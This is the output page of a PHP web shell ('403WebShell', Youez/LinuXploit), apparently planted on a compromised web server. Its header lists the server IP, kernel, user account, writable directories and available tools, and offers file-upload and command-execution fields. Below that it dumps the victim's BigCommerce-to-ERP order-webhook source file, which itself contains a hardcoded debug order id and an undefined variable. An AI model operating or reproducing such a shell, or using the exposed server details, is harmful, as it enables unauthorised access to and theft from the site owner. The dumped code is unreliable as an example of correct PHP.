Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/brainwavemx/app/Api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/brainwavemx/app/Api/BigCommerceWebHookOrderApi.php
<?php

declare(strict_types=1);

namespace App\Api;

use App\Api\ErpRestOrderApi;
use App\Controller\Api\ApiController;
use App\Model\OrderModel;
use Bigcommerce\Api\Client;
use Mosaico\Api\BaseApi;
use Monolog\Logger;
use Monolog\Handler\StreamHandler;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

class BigCommerceWebHookOrderApi extends BaseApi
{

    /**
     * recibe id de orden creada
     * /api/v1/webbhook/order/created
     */
    public function setOrderCreated(Request $request): response
    {
        //Get Bigcommerce credentials
        new ApiController();

        //Initialize REST Api class
        $rest = new ErpRestOrderApi();

        if (
            $_SERVER['REQUEST_METHOD'] === 'POST' && 
            isset($_SERVER['CONTENT_TYPE']) && 
            $_SERVER['CONTENT_TYPE'] === 'application/json'
        ) {
            $webhookResponse = json_decode(file_get_contents('php://input'), true);
            print_r($webhookResponse);
        } else {
            $webhookResponse = [];
            $webhookResponse['scope'] = 'no post data';
            $webhookResponse['data']['id'] = 117;
            $order_id = $webhookResponse['data']['id'];
            
            /**
             * Debug
             */
            $order = Client::getOrder($order_id);
            $products = Client::getOrderProducts($order_id);
            //print_r($order);//debug
            //print_r($products);//debug
            //Send order
            $exchange_rate = $this->getExchangeRate($order->currency_code);
            $result = $rest->sendRestOrder((object) $order, (object) $products, (float) $exchange_rate);

            //print_r($result);
            if (isset($result->call)) {

                //Update middleware order status
                if ($result->call->response->orderResponse->status == 0) {
                    $this->updateBigCoOrderStatus($order_id);
                }
            }
        }

        
        if ($webhookResponse['scope'] == 'store/order/created') {

            //Bigcommerce order id from webhook
            $order_id = $webhookResponse['data']['id'];

            //Get order from Bigcommerce
            $order = Client::getOrder($order_id);
            $products = Client::getOrderProducts($order_id);
            $customer = Client::getCustomer($order->customer_id);

            //Add Update customer
            $this->addBigcommerceCustomer((object) $customer);
            //Add order to middleware
            $this->addBigCommerceOrder((object) $order, (object) $products);


            $exchange_rate = $this->getExchangeRate($order->currency_code);
            //Send order to ERP
            $result = $rest->sendRestOrder((object) $order, (object) $products, (float) $exchange_rate);
            /*
            if (isset($result->call)) {
                print_r($result);

                //Update middleware order status
                if ($result->call->response->orderResponse->status == 0) {
                    $this->updateBigCoOrderStatus($order_id);
                }
            }
            */
        }

        if (isset($result->call->response->orderResponse->status)) {
            $info = (array) $result;
        } else {
             $info = (array) $result;
        }
            
        $this->logOrder((int) $webhookResponse['data']['id'], (array) $info);

        $response = new Response();
        $response->setContent((string) json_encode($info));
        //$response->setStatusCode($info['status']);
        $response->setStatusCode(200);
        return $response;

    }

    public function logOrder(int $orderid, array $info): void
    {
        $logger = new Logger('CreateOrder');
        $logger->pushHandler(new StreamHandler(__DIR__ . '/../../logs/order_created.log', Logger::INFO));

        $logger->info(
            'order : ' . $orderid,
            $info
        );
    }

    /**
     * Adds Bigcommerce Order to middleware
     * @param object $order [bigcommerce order id]
     * @param object $products [bigcommerce order products]
     */
    public function addBigCommerceOrder(object $order, object $products): void
    {
        $orderModel = new OrderModel();
        
        $exchange_rate = $this->getExchangeRate($order->currency_code);
        $data = [
            'id_order' => $order->id,
            'id_customer' => $order->customer_id,
            'date_created' => date('Y-m-d H:i:s O', strtotime($order->date_created)),
            'subtotal_ex_tax' => $order->subtotal_ex_tax,
            'subtotal_tax' => $order->subtotal_tax,
            'subtotal_inc_tax' => $order->subtotal_inc_tax,
            'base_shipping_cost' => $order->base_shipping_cost,
            'shipping_cost_ex_tax' => $order->shipping_cost_ex_tax,
            'shipping_cost_inc_tax' => $order->shipping_cost_inc_tax,
            'shipping_cost_tax' => $order->shipping_cost_tax,
            'base_handling_cost' => $order->base_handling_cost,
            'handling_cost_ex_tax' => $order->handling_cost_ex_tax,
            'handling_cost_inc_tax' => $order->handling_cost_inc_tax,
            'handling_cost_tax' => $order->handling_cost_tax,
            'base_wrapping_cost' => $order->base_wrapping_cost,
            'wrapping_cost_ex_tax' => $order->wrapping_cost_ex_tax,
            'wrapping_cost_inc_tax' => $order->wrapping_cost_inc_tax,
            'wrapping_cost_tax' => $order->wrapping_cost_tax,
            'total_ex_tax' => $order->total_ex_tax,
            'total_inc_tax' => $order->total_inc_tax,
            'total_tax' => $order->total_tax,
            'items_total' => $order->items_total,
            'currency_code' => $order->default_currency_code,
            'currency_exchange_rate' => $order->currency_exchange_rate
        ];
        $orderModel->addBigcommerceOrder($data);

        foreach ($products as $value) {
            $product = [
                'id_order' => $value->order_id,
                'id_product' => $value->product_id,
                'name' => $value->name,
                'sku' => $value->sku,
                'base_price' => $value->base_price,
                'price_ex_tax' => $value->price_ex_tax,
                'price_inc_tax' => $value->price_inc_tax,
                'price_tax' => $value->price_tax,
                'base_total' => $value->base_total,
                'total_ex_tax' => $value->total_ex_tax,
                'total_inc_tax' => $value->total_inc_tax,
                'total_tax' => $value->total_tax,
                'quantity' => $value->quantity        
            ];
            $orderModel->addOrderProducts($product);
        }
    }

    /**
     * Adds Bigcommerce Customer to middleware
     * @param object $customer [bigcommerce customer id]
     */
    public function addBigCommerceCustomer(object $customer): void
    {
        $orderModel = new OrderModel();
        
        $data = [
            'id_bigcommerce' => $customer->id,
            'first_name' => $customer->first_name,
            'last_name' => $customer->last_name,
            'email' => $customer->email,
            'phone' => $customer->phone,
        ];
        $orderModel->addBigcommerceCustomer($data);

    }

    /**
     * Adds Bigcommerce Customer to middleware
     * @param object $customer [bigcommerce customer id]
     */
    public function addCustomerBillingAddress(object $order): void
    {
        $orderModel = new OrderModel();
        
        $data = [
            'id_bigcommerce_customer' => $order->customer_id,
            'first_name' => $order->first_name,
            'last_name' => $customer->last_name,
            'email' => $customer->email,
            'phone' => $customer->phone,
        ];
        $orderModel->addBigcommerceCustomerAddress($data);

    }

    /**
     * Update ERP order status
     * @param  int    $order_id [description]
     * @return void
     */
    public function updateBigCoOrderStatus(int $order_id): void
    {
        $orderModel = new OrderModel();
        $orderModel->updateOrderErpStatus($order_id);
    }

    public function getExchangeRate(string $currency_code): float
    {
        $orderModel = new OrderModel();
        
        switch ($currency_code) {
            case 'USD':
                $exchange_rate = (float) $orderModel->getExchangeRate()->row['currency_exchange_rate'];
                break;
            case 'MXN':
                $exchange_rate = (float) 1.00;
                break;
            default:
                $exchange_rate = (float) 1.00;
                break;
        }

        return $exchange_rate;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit